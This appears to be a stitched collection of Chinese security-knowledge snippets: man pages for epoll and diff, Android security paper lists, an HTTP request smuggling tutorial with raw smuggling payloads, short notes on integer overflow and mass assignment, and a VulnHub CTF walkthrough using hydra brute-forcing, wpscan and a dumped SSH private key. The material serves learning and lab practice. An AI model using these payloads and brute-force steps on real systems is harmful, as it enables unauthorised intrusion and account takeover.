\fBread\fP(2) 时指定了期望读取的字节数,但 \fBread\fP(2) 返回的实际读取字节数较少,你就可以确定文件描述符的读 I/O
空间已经消费完了。在使用 \fBwrite\fP(2) 写入时同理。(但如果你不能保证被监视的文件描述符总是指向一个面向流的文件,那么就应当避免使用这一技巧)
.SS 可能的陷阱和避免的方法
.TP
\fBo 边缘触发下的饥饿\fP
.PP
如果某个就绪的文件可用的 I/O 空间很大,试图穷尽它可能会导致其他文件得不到处理,造成饥饿。(但这个问题并不是 \fBepoll\fP 特有的)。
.PP
解决方案是维护一个就绪列表,并在其关联的数据结构中将此文件描述符标记为就绪,从而使应用程序在记住哪些文件需要被处理的同时仍能循环遍历所有就绪的文件。这也使你可以忽略收到的已经就绪的文件描述符的后续事件。
.TP
\fBo 如果使用了事件缓存...\fP
.PP
如果你使用了事件缓存或暂存了所有从 \fBepoll_wait\fP(2)
返回的文件描述符,那么一定要有某种方法来动态地标记这些文件描述符的关闭(例如因先前的事件处理引起的文件描述符关闭)。假设你从
\fBepoll_wait\fP(2)
收到了100个事件,在事件#47中,某个条件导致事件#13被关闭。如果你删除数据结构并关闭(\fBclose\fP(2))事件#13的文件描述符,那么你的事件缓存可能仍然会说事件#13的文件描述符有事件在等待而造成迷惑。
.PP
对应的一个解决方案是,在处理事件47的过程中,调用
\fBepoll_ctl\fP(\fBEPOLL_CTL_DEL\fP)来删除并关闭(\fBclose\fP(2))文件描述符13,然后将其相关的数据结构标记为已删除,并将其链接到一个清理列表。如果你在批处理中发现了文件描述符13的另一个事件,你会发现文件描述符13先前已被删除,这样就不会有任何混淆。
.SH 版本
.\" Its interface should be finalized in Linux kernel 2.5.66.
\fBepoll\fP API 在 Linux 内核2.5.44中引入。2.3.2版本的 glibc 加入了对其的支持。
.SH 适用于
\fBepoll\fP API 是 Linux 特有的。其他的一些系统也提供类似的机制,例如 FreeBSD有 \fIkqueue\fP, Solaris 有
\fI/dev/poll\fP。
.SH 注
可以通过进程对应的 \fI/proc/[pid]/fdinfo\fP 目录下的 epoll 文件描述符条目查看epoll
文件描述符所监视的文件描述符的集合。详情见 \fBproc\fP(5)。
.PP
\fBkcmp\fP(2) 的 \fBKCMP_EPOLL_TFD\fP 操作可以用来检查一个 epoll 实例中是否存在某个文件描述符。
.SH 另请参阅
\fBepoll_create\fP(2), \fBepoll_create1\fP(2), \fBepoll_ctl\fP(2), \fBepoll_wait\fP(2),
\fBpoll\fP(2), \fBselect\fP(2)
|
sec-knowleage
|
## Android UI automation test
Automatic Android GUI Traversal with High Coverage IEEE(2014)</br>
Targeted and depth-first exploration for systematic testing of android apps OOPSLA(2013)</br>
Automated testing with targeted event sequence generation ISSTA(2013)</br>
Automatic and scalable fault detection for mobile applications Mobisys(2014)</br>
Mobiguitar - a Tool for Automated Model-based Testing of Mobile Apps 2014</br>
DynaDroid : dynamic binary instrumentation based app behavior monitor SIN (2015)</br>
Mining Android App Usages for Generating Actionable GUI-Based Execution Scenarios MSR(2015)</br>
Sapienz : multi-objective automated testing for Android applications ISSTA (2016)</br>
Automated Test Input Generation for Android : Are We There Yet? ASE(2015) </br>
PUMA: Programmable UI-Automation for Large Scale Dynamic Analysis of Mobile Apps</br>
AppsPlayground: Automatic Security Analysis of Smartphone Applications CODASPY(2013)</br>
Are these Ads Safe: Detecting Hidden Attacks through the Mobile App-Web Interfaces NDSS (2016)</br>
SmartDroid: an Automatic System for Revealing UI-based Trigger Conditions in Android Applications SPSM (2012)</br>
## Android SSL Security
Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security CCS (2012)</br>
Rethinking SSL Development in an Appified World CCS (2013)</br>
SMV-HUNTER: Large Scale, Automated Detection of SSL/TLS Man-in-the-Middle Vulnerabilities in Android Apps NDSS (2014)</br>
To Pin or Not to Pin—Helping App Developers Bullet Proof Their TLS Connections USENIX (2015)</br>
CertShim: Securing SSL Certificate Verification through Dynamic Linking 2014</br>
SSLINT: A Tool for Detecting TLS Certificate Validation Vulnerabilities 2016</br>
Automatically Detecting SSL Error-Handling Vulnerabilities in Hybrid Mobile Web Apps ASIA CCS (2015)</br>
Danger is My Middle Name: Experimenting with SSL Vulnerabilities in Android Apps WISEC (2015)</br>
Using Frankencerts for Automated Adversarial Testing of Certificate Validation in SSL/TLS Implementations IEEE (2014)</br>
## Android Ads(third) Library Security
AdSplit: Separating Smartphone Advertising from Applications USENIX(2012)</br>
Addroid: Privilege Separation for Applications and Advertisers in Android 2013 </br>
PmDroid: Permission Supervision for Android Advertising SRDS(2015)</br>
Efficient Privilege De-Escalation for Ad Libraries in Mobile Apps MobiSys(2015)</br>
Duet: library integrity verification for android applications Wisec(2014)</br>
An Investigation into the Use of Common Libraries in Android Apps SANER(2016)</br>
Following Devil's Footprints Cross-Platform Analysis of Potentially Harmful Libraries on Android and iOS SP(2016)</br>
Reliable Third-Party Library Detection in Android and its Security Applications CCS(2016)</br>
Stay in Your Cage! A Sound Sandbox for Third-Party Libraries on Android ESORICS(2016)</br>
## Android privacy‘s security
AndroidLeaks: Automatically Detecting Potential Privacy Leaks in Android Applications on a Large Scale TRUST(2012)</br>
FlowDroid: precise context, flow, field, object-sensitive and lifecycle-aware taint analysis for Android apps PLDI(2014)</br>
IccTA: Detecting Inter-Component Privacy Leaks in Android Apps ICSE(2015)
Amandroid: A Precise and General Inter-component Data Flow Analysis Framework for Security Vetting of Android Apps CCS(2014)</br>
FlowDroid: precise context, flow, field, object-sensitive and lifecycle-aware taint analysis for Android apps PLDI(2014)</br>
Aurasium: Practical Policy Enforcement for Android Applications USENIX(2012)</br>
AppIntent: analyzing sensitive data transmission in android for privacy leakage detection CCS(2013)</br>
TaintDroid: an information flow tracking system for real-time privacy monitoring on smartphones OSDI(2010)</br>
UIPicker: User-Input Privacy Identification in Mobile Applications USENIX(2015)</br>
SUPOR: Precise and Scalable Sensitive User Input Detection for Android Apps USENIX(2015)</br>
FlowIntent: Detecting Privacy Leakage from User Intention to Network Traffic Mapping SECON(2016)</br>
SARRE: Semantics-Aware Rule Recommendation and Enforcement for Event Paths on Android IEEE(2016)</br>
|
sec-knowleage
|
.\" Date: Fri, 11 Sep 1998 19:13:45 +0100
.\" From: Edward Betts
.\" Chinese Version Copyrighted Scorpino, www.linuxforum.net 2000
.\" Derived from the GNU diff info page.
.\" May be distributed under the GPL.
.TH DIFF 1 "22sep1993" "GNU Tools" "GNU Tools"
.SH NAME
diff \- 找出两个文件的不同点
.SH 总览
.B diff
[选项] 源文件 目标文件
.SH 描述
在最简单的情况是,
.I diff
比较两个文件的内容
.I (源文件
和
.IR 目标文件) .
文件名可以是
.B \-
由标准输入设备读入的文本.
作为特别的情况是,
.B "diff \- \-"
比较一份标准输入的它自己的拷贝
如果
.I 源文件
是一个目录和
.I 目标文件
不是(目录),
.I diff
会比较在
.I 源文件(目录)
里的文件的中和
.IR 目标文件同名的(文件),
反过来也一样. 非目录文件不能是
.BR \- .
如果
.I 源文件
和
.I 目标文件
都是目录,
.I diff
比较两个目录中相应的文件,
依照字母次序排序;这个比较是不会递归的,除非给出
.B \-r
或者
.B \-\-recursive.
.I diff
不把一个目录的内容看为它是一个文件来比较。被指定的文件不
能是标准的输入, 因为标准的输入是无名的并且"有一样的名字的文
件"的观点不适用。
.B diff
的选项由
.BR \- ,
开始
所以正常地
.I 源文件(名)
和
.I 目标文件(名)
不可以用
.BR \-
开头.
然而,
.B \-\-
可以被它视为保留的即使作为文件名的开头(
they begin with
.BR \- . )
.SS 选项
下面是 GNU所接受的
.I diff
的所有选项的概要.
大多数的选项有两个相同的名字,一个是单个的
跟在
.BR \-
后面字母,
另一个是由
.BR \-\-
引出的长名字.
多个单字母选项(除非它们产生歧义)能够组合为单行的命令行语法
.B \-ac
是等同于
.BR "\-a \-c" .
长命名的选项能被缩短到他们的名字的任何唯一的前缀.
用
.RB ( [
和
.BR ] )
括起来显示选项产生歧义的选项
.TP
.BI \- 行数(一个整数)
显示上下文
.I 行数
(一个整数).
这个选项自身没有指定输出格式,这是没有效果的,除非和
.B \-c
或者
.BR \-u
组合使用.
这是已废置的选项,对于正确的操作,
上下文至少要有两行。
.TP
.B \-a
所有的文件都视为文本文件来逐行比较,甚至他们似乎不是文本文件.
.TP
.B \-b
忽略空格引起的变化.
.TP
.B \-B
忽略插入删除空行引起的变化.
.TP
.B \-\-brief
仅报告文件是否相异,在乎差别的细节.
.TP
.B \-c
使用上下文输出格式.
.TP
.BI "\-C " 行数(一个整数)
.br
.ns
.TP
.BI \-\-context[= lines ]
使用上下文输出格式,显示以指定
.I 行数
(一个整数), 或者是三行(当
.I 行数
没有给出时.
对于正确的操作,
上下文至少要有两行.
.TP
.BI \-\-changed\-group\-format= format
使用
.I format
输出一组包含两个文件的不同处的行,其格式是 if\-then\-else .
.TP
.B \-d
改变算法也许发现变化的一个更小的集合.这会使
.I diff
变慢 (有时更慢).
.TP
.BI "\-D " name
合并 if\-then\-else 格式输出, 预处理宏(由name参数提供)条件.
.TP
.B \-e
.br
.ns
.TP
.B \-\-ed
输出为一个有效的
.I ed
脚本.
.TP
.BI \-\-exclude= pattern
比较目录的时候,忽略和目录中与
.IR pattern (样式)
相配的.
.TP
.BI \-\-exclude\-from= file
比较目录的时候,忽略和目录中与任何包含在
.IR file (文件)
的样式相配的文件和目录.
.TP
.B \-\-expand\-tabs
在输出时扩展tab为空格,保护输入文件的tab对齐方式
.TP
.B \-f
产生一个很象
.I ed
脚本的输出,但是但是在他们在文件出现的顺序有改变
.TP
.BI "\-F " regexp
在上下文和统一格式中,对于每一大块的不同,显示出匹配
.IR regexp .
的一些前面的行.
.TP
.B \-\-forward\-ed
产生象
.B ed
脚本的输出,但是它们在文件出现的顺序有改变。
.TP
.B \-h
这选项现在已没作用,它呈现Unix的兼容性.
.TP
.B \-H
使用启发规则加速操作那些有许多离散的小差异的大文件.
.TP
.BI \-\-horizon\-lines= lines
比较给定行数的有共同前缀的最后行,和有共同或缀的最前行.
.TP
.B \-i
忽略大小写.
.TP
.BI "\-I " regexp
忽略由插入,删除行(由regexp 参数提供参考)带来的改变.
.TP
.BI \-\-ifdef= name
合并 if\-then\-else 格式输出, 预处理宏(由name参数提供)条件.
.TP
.B \-\-ignore\-all\-space
在比较行的时候忽略空白.
.TP
.B \-\-ignore\-blank\-lines
忽略插入和删除空行
.TP
.B \-\-ignore\-case
忽略大小写.
.TP
.BI \-\-ignore\-matching\-lines= regexp
忽略插入删除行(由regexp 参数提供参考).
.TP
.B \-\-ignore\-space\-change
忽略空白的数量.
.TP
.B \-\-initial\-tab
在文本行(无论是常规的或者格式化的前后文关系)前输出tab代替空格.
引起的原因是tab对齐方式看上去象是常规的一样.
.TP
.B \-l
产生通过
.I pr
编码的输出.
.TP
.BI "\-L " label
.br
.ns
.TP
.BI \-\-label= label
使用
.I label
给出的字符在文件头代替文件名输出.
.TP
.B \-\-left\-column
以并列方式印出两公共行的左边
.TP
.BI \-\-line\-format= format
使用
.I format
输出所有的行,在
if\-then\-else 格式中.
.TP
.B \-\-minimal
改变算法也许发现变化的一个更小的集合.这会使
.I diff
变慢 (有时更慢).
.TP
.B \-n
输出 RC\-格式 diffs;
除了每条指令指定的行数受影响外 象
.B \-f
一样。
.TP
.B \-N
.br
.ns
.TP
.B \-\-new\-file
在目录比较中,如果那个文件只在其中的一个目录中找到,那么它被视为在
另一个目录中是一个空文件.
.TP
.BI \-\-new\-group\-format= format
使用
.I format
以if\-then\-else 格式输出只在第二个文件中取出的一个行组
.TP
.BI \-\-new\-line\-format= format
使用
.I format
以if\-then\-else 格式输出只在第二个文件中取出的一行
.TP
.BI \-\-old\-group\-format= format
使用
.I format
以if\-then\-else 格式输出只在第一个文件中取出的一个行组
.TP
.BI \-\-old\-line\-format= format
使用
.I format
使用
.I format
以if\-then\-else 格式输出只在第一个文件中取出的一行
.TP
.B \-p
显示带有c函数的改变.
.TP
.B \-P
在目录比较中,如果那个文件只在其中的一个目录中找到,那么它被视为在
另一个目录中是一个空文件.
.TP
.B \-\-paginate
产生通过
.I pr
编码的输出.
.TP
.B \-q
仅报告文件是否相异,不报告详细的差异.
.TP
.B \-r
当比较目录时,递归比较任何找到的子目录.
.TP
.B \-\-rcs
输出 RC\-格式 diffs;
除了每条指令指定的行数受影响外 象
.B \-f
一样。
.TP
.B \-\-recursive
当比较目录时,递归比较任何找到的子目录.
.TP
.B \-\-report\-identical\-files
.br
.ns
.TP
.B \-s
报告两个文件相同.
.TP
.BI "\-S " file
当比较目录时,由
.IR file
开始.
这用于继续中断了的比较.
.TP
.B \-\-sdiff\-merge\-assist
打印附加的信息去帮助
.IR sdiff .
.I sdiff
在运行
.IR diff
时使用这些选项.
这些选项不是特意为使用者直接使用而准备的。
.TP
.B \-\-show\-c\-function
显示带有c函数的改变.
.TP
.BI \-\-show\-function\-line= regexp
在上下文和统一的格式,对于每一大块的差别,显示出匹配
.IR regexp .
的一些前面的行
.TP
.B \-\-side\-by\-side
使用并列的输出格式.
.TP
.B \-\-speed\-large\-files
使用启发规则加速操作那些有许多离散的小差异的大文件.
.TP
.BI \-\-starting\-file= file
当比较目录时,由
.IR file
开始.
这用于继续中断了的比较.
.TP
.B \-\-suppress\-common\-lines
在并列格式中不印出公共行。
.TP
.B \-t
在输出时扩展tab为空格,保护输入文件的tab对齐方式
.TP
.B \-T
在文本行(无论是常规的或者格式化的前后文关系)前输出tab代替空格.引起的原因
是tab对齐方式看上去象是常规的一样.
.TP
.B \-\-text
所有的文件都视为文本文件来逐行比较,甚至他们似乎不是文本文件.
.TP
.B \-u
使用统一的输出格式.
.TP
.BI \-\-unchanged\-group\-format= format
使用
.I format
输出两个文件的公共行组,其格式是if\-then\-else.
.TP
.BI \-\-unchanged\-line\-format= format
使用
.I format
输出两个文件的公共行,其格式是if\-then\-else.
.TP
.B \-\-unidirectional\-new\-file
在目录比较中,如果那个文件只在其中的一个目录中找到,那么它被视为在
另一个目录中是一个空文件.
.TP
.BI "\-U " lines
.br
.ns
.TP
.BI \-\-unified[= lines ]
使用前后关系格式输出,显示以指定
.I 行数
(一个整数), 或者是三行(当
.I 行数
没有给出时.
对于正确的操作,
上下文至少要有两行.
.TP
.B \-v
.br
.ns
.TP
.B \-\-version
输出
.IR diff
版本号.
.TP
.B \-w
在比较行时忽略空格
.TP
.BI "\-W " columns
.br
.ns
.TP
.BI \-\-width= columns
在并列格式输出时,使用指定的列宽.
.TP
.BI "\-x " pattern
比较目录的时候,忽略和目录中与
.IR pattern (样式)
相配的.
.TP
.BI "\-X " file
比较目录的时候,忽略和目录中与任何包含在
.IR file (文件)
的样式相配的文件和目录.
.TP
.B \-y
使用并列格式输出
.SH 参考
cmp(1), comm(1), diff3(1), ed(1), patch(1), pr(1), sdiff(1).
.SH DIAGNOSTICS
退出状态为0意味着没有差别,
1意味着有一些不同。
2意味很有问题(许多差异)
.br
.SH "[中文版维护人]"
.B Scorpio <rawk@chinese.com>
.SH "[中文版最新更新]"
.BR 2000/10/19
.SH "《中国Linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# HTTP_request_smuggling
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [HTTP Desync Attacks: Request Smuggling Reborn | Blog - PortSwigger](https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn)
- [HTTP Desync Attacks: Smashing into the Cell Next Door ](https://xz.aliyun.com/t/5978) - 上面的翻译版
- [What is HTTP request smuggling? Tutorial & Examples](https://portswigger.net/web-security/request-smuggling)
- [HTTP request smuggling](https://saucer-man.com/information_security/368.html)
- [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/)
- [协议层的攻击——HTTP请求走私](https://paper.seebug.org/1048/)
- [Breaking the chains on HTTP Request Smuggler](https://portswigger.net/research/breaking-the-chains-on-http-request-smuggler)
- [从一道题深入HTTP协议与HTTP请求走私](https://xz.aliyun.com/t/6631)
- [流量夹带(HTTP Request Smuggling) 检测方案的实现](https://blog.riskivy.com/%e6%b5%81%e9%87%8f%e5%a4%b9%e5%b8%a6http-request-smuggling-%e6%a3%80%e6%b5%8b%e6%96%b9%e6%a1%88%e7%9a%84%e5%ae%9e%e7%8e%b0/)
**靶场**
- [ZeddYu/HTTP-Smuggling-Lab](https://github.com/ZeddYu/HTTP-Smuggling-Lab)
**burp扩展**
- [PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
**相关工具**
- [defparam/smuggler](https://github.com/defparam/smuggler) - Python 3 编写的 HTTP 请求走私检测工具
---
# 漏洞产生的原因
HTTP Request Smuggling 最初是由 WatchFire1 于 2005 年记录下来的,由于难以利用和危害性无法控制,该问题一直处于被忽略的状态。直到 2019 年的 BlackHat USA 上,PortSwigger 的 James Kettle 在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door 中提出了一套较为完善的利用流程,这个漏洞才被人熟知。
上面我们说到了 HTTP 协议的基本原理,其中一个 HTTP 请求中可以有多种方式来指定消息的长度,比如:Content-Length、Transfer-Encoding。
但是当一个请求中同时出现了 2 种方法,就会发生一些问题。HTTP 规范 (RFC2616) 中定义,如果接收的消息同时包含传输编码头字段 (Transfer-Encoding) 和内容长度头 (Content-Length) 字段,则必须忽略后者。然而,后端服务器有自己的想法,它会同时处理。
---
# 几种走私请求利用方法
**CL 不为 0 的 GET 请求**
假设前端代理服务器允许 GET 请求携带请求体,而后端服务器不允许 GET 请求携带请求体,它会直接忽略掉 GET 请求中的 Content-Length 头,不进行处理。这就有可能导致请求走私。
```
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```
前端服务器收到该请求,通过读取 Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对 Content-Length 进行处理,由于 Pipeline 的存在,它就认为这是收到了两个请求,分别是
```
GET / HTTP/1.1\r\n
Host: example.com\r\n
```
```
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
```
**CL-CL**
假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回 400 错误,但是中间代理服务器按照第一个 Content-Length 的值对请求进行处理,而后端源站服务器按照第二个 Content-Length 的值进行处理, 这样便有可能引发请求走私。
此时恶意攻击者可以构造一个特殊的请求
```
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
```
中间代理服务器获取到的数据包的长度为 8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为 7。当读取完前 7 个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母 a,对于后端服务器来说,这个 a 是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如下所示。
```
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
```
从前面我们也知道了,代理服务器与源站服务器之间一般会重用 TCP 连接。
这时候正常用户的请求就拼接到了字母 a 的后面,当后端服务器接收完毕后,它实际处理的请求其实是
```
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
```
这时候用户就会收到一个类似于 aGET request method not found 的报错。这样就实现了一次 HTTP 走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于 CSRF 的攻击方式。
**CL-TE**
所谓 CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理 Content-Length 这一请求头,而后端服务器会遵守 RFC2616 的规定,忽略掉 Content-Length,处理 Transfer-Encoding 这一请求头。
chunk 传输数据格式如下,其中 size 的值由 16 进制表示。
```
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
```
此时恶意攻击者可以构造一个特殊的请求
```
POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
```
由于前端服务器处理 Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为 6,也就是
```
0\r\n
\r\n
G
```
当请求包经过代理服务器转发给后端服务器时,后端服务器处理 Transfer-Encoding,当它读取到 0\r\n\r\n 时,认为已经读取到结尾了,但是剩下的字母 G 就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。
```
GPOST / HTTP/1.1\r\n
Host: example.com\r\n
......
```
**TE-CL**
所谓 TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理 Transfer-Encoding 这一请求头,而后端服务器处理 Content-Length 请求头。
构造数据包
```
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
```
由于前端服务器处理 Transfer-Encoding,当其读取到 0\r\n\r\n 时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理 Content-Length 请求头,当它读取完 12\r\n 之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是
```
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
```
**TE-TE**
TE-TE,也很容易理解。当收到存在两个请求头的请求包时,前后端服务器都处理 Transfer-Encoding 请求头,这确实是实现了 RFC 的标准。不过前后端服务器毕竟不是同一种,因而我们可以对发送的请求包中的 Transfer-Encoding 进行某种混淆操作,从而使其中一个服务器不处理 Transfer-Encoding 请求头。从某种意义上还是 CL-TE 或者 TE-CL。
```
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
```
|
sec-knowleage
|
import struct
import sys
import base64
if len(sys.argv) != 2:
print "Usage: %s data" % sys.argv[0]
exit(0)
data = sys.argv[1]
padding = 4 - len(data) % 4
if padding != 0:
data = data + "\x00" * padding
result = []
blocks = struct.unpack("I" * (len(data) / 4), data)
for block in blocks:
result += [block ^ block >> 16]
output = ''
for block in result:
output += struct.pack("I", block)
print base64.b64encode(output)
|
sec-knowleage
|
### Integer Overflow and Underflow原理
EVM的整数有 `int` 和 `uint` 两种,对应有无符号的情况。在 `int` 或 `uint` 后可以跟随一个8的倍数,表示该整数的位数,如8位的 `uint8`。位数上限为256位,`int` 和 `uint` 分别是 `int256` 和 `uint256` 的别名,一般 `uint` 使用的更多。
在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。
|
sec-knowleage
|
# Mass Assignment Attack
## Introduction
Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS
## How to exploit
- Normal request
```
POST /editdata HTTP/1.1
Host: target.com
...
username=daffa
```
The response
```
HTTP/1.1 200 OK
...
{"status":"success","username":"daffainfo","isAdmin":"false"}
```
- Modified Request
```
POST /editdata HTTP/1.1
Host: target.com
...
username=daffa&admin=true
```
```
HTTP/1.1 200 OK
...
{"status":"success","username":"daffainfo","isAdmin":"true"}
```
## References
* [Pentester Academy](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
|
sec-knowleage
|
# PumpkinFestival-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinfestival,329/
**Description**
Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems.
PumpkinFestival is Level 3 of series of 3 machines under Mission-Pumpkin v1.0. The Level 1 ends by accessing PumpkinGarden_Key file. Level 2 is about identifying pumpkin seeds.
In this level (Level 3) it is time for Pumpkin Festival, the goal is to reach root and access PumpkinFestival_Ticket and collect PumpkinTokens on the way.
**知识点**
- 字符加解密
- ssh密钥使用
- wpscan
**实验环境**
`环境仅供参考`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 前期-信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关,这里 `192.168.141.130` 是靶机的地址。
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.130
```
似曾相识啊,ftp 允许匿名登录
```bash
ftp 192.168.141.130
anonymous
密码为空,直接回车
ls
cd secret
ls
get token.txt
bye
cat token.txt
PumpkinToken : 2d6dbbae84d724409606eddd9dd71265
```
获得了个 token,之后应该会用到,看看 web
网页源码中的 token
```
PumpkinToken : 45d9ee7239bc6b0bb21d3f8e1c5faa52
```
看下 robots.txt
在 http://192.168.141.130/store/track.txt 中可以找到一个 Tracking code 和一个邮箱
下一步在host中添加上面的邮箱域名
```
echo "192.168.141.130 pumpkins.local" >> /etc/hosts
```
访问可以发现一个 wordpress 页面和 token
```
PumpkinToken : 06c3eb12ef2389e2752335beccfb2080
```
除了这个域名以外还有一个 token 路径,爆破出 http://192.168.141.130//tokens/token.txt
第四个 token
```
PumpkinToken : 2c0e11d2200e2604587c331f02a7ebea
```
下面用 wpscan 尝试打 wordpress
```bash
wpscan --url http://pumpkins.local -e at -e ap -e u
```
发现2个用户和一个readme
- http://pumpkins.local/readme.html
访问发现是个加密字符串,像是 base64,解出来是 base62
```
K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s
morse & jack : Ug0t!TrIpyJ
```
登录后发现一个 token
```
PumpkinToken : 7139e925fd43618653e51f820bc6201b
```
通过之前 wpscan 的扫描结果,还存在一个用户 admin ,最开始的网站主页最底下有个 Alohomora! 就是 admin 的密码
登录后发现2处 token
```
PumpkinToken : f2e00edc353309b40e1aed18e18ab2c4
PumpkinToken : 06c3eb12ef2389e2752335beccfb2080
```
接下来爆破 FTP,主页中提到过一个用户名 harry
```bash
hydra -l harry -e nsr -P /usr/share/wordlists/rockyou.txt ftp://192.168.141.130
```
连接
```
ftp 192.168.141.130
harry
yrrah
```
最后下载到2个 token.txt 和 data.txt
```
PumpkinToken : ba9fa9abf2be9373b7cbd9a6457f374e
PumpkinToken : f9c5053d01e0dfc30066476ab0f0564c
```
data.txt 无法直接读,看下类型
压缩文件,解压
```bash
tar -xvf data.txt
tar -xvf data
tar -xvf key
cat jack
```
hex 解一下是SSH的密钥
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAwIInyghdj2fsZYJJ2V3L7QtrclJpztt59m3Wmn4y9spMsd2tqJ2b
Fziqj2e+jZaKDWT9tyQFEVWOs34OQh3sjgAzu2tLGuPpgi5Zu8ynwUBMK7He+81sPvETve
bcdqpuzgsAwD5pC1z5LT7eOAImKHx2msoHt1vOqePDNPvPHRG20yUhRGuoFu4blKWwun4+
YbeBMH0LlzzJhnqKAkF7oEfZ6V7/1yENsrd+8ewGZg63po0I2CoVzGJboxHDjbTgiNN0XW
x2g3oDOUsBIYjbuTdCt3R2r7RheyXlRgts8G5bZe9fViAl26Og7jzGdjIr3y8ns/mpJ736
e3jQPSHCsEemcSj9zWDpXpHsiVX5OdCkmyaJLFZpfXjhB5z3x6v1iSAkzsHChPeDzboSxj
xzKZb8yeYhNGP0ochEPARfI8jInII5Wv8jtBqTKqP7zu50OzUxJzFzCMPLfJNWdZL/KAwb
TV2K9075hvDEQD1mH6IVVJyrNuruSRNAvTEtLWCpI48Hos3WGjzsmMuA79WGqBzWyS5kg0
wVckJADLgpLEiE+Ne9AbVOqLnSBh0AV2mD2s2HmfR7f080TqXxAot6+7ADo/96Nf3ZnnBE
O516Q3WlmvoZbQ33mMSsOItBLejPXp3Lq8Lb19m2D2bZ2MDoC+Bcr+po/rr9ALRKiUsVts
sAAAdAQxmXlEMZl5QAAAAHc3NoLXJzYQAAAgEAwIInyghdj2fsZYJJ2V3L7QtrclJpztt5
9m3Wmn4y9spMsd2tqJ2bFziqj2e+jZaKDWT9tyQFEVWOs34OQh3sjgAzu2tLGuPpgi5Zu8
ynwUBMK7He+81sPvETvebcdqpuzgsAwD5pC1z5LT7eOAImKHx2msoHt1vOqePDNPvPHRG2
0yUhRGuoFu4blKWwun4+YbeBMH0LlzzJhnqKAkF7oEfZ6V7/1yENsrd+8ewGZg63po0I2C
oVzGJboxHDjbTgiNN0XWx2g3oDOUsBIYjbuTdCt3R2r7RheyXlRgts8G5bZe9fViAl26Og
7jzGdjIr3y8ns/mpJ736e3jQPSHCsEemcSj9zWDpXpHsiVX5OdCkmyaJLFZpfXjhB5z3x6
v1iSAkzsHChPeDzboSxjxzKZb8yeYhNGP0ochEPARfI8jInII5Wv8jtBqTKqP7zu50OzUx
JzFzCMPLfJNWdZL/KAwbTV2K9075hvDEQD1mH6IVVJyrNuruSRNAvTEtLWCpI48Hos3WGj
zsmMuA79WGqBzWyS5kg0wVckJADLgpLEiE+Ne9AbVOqLnSBh0AV2mD2s2HmfR7f080TqXx
Aot6+7ADo/96Nf3ZnnBEO516Q3WlmvoZbQ33mMSsOItBLejPXp3Lq8Lb19m2D2bZ2MDoC+
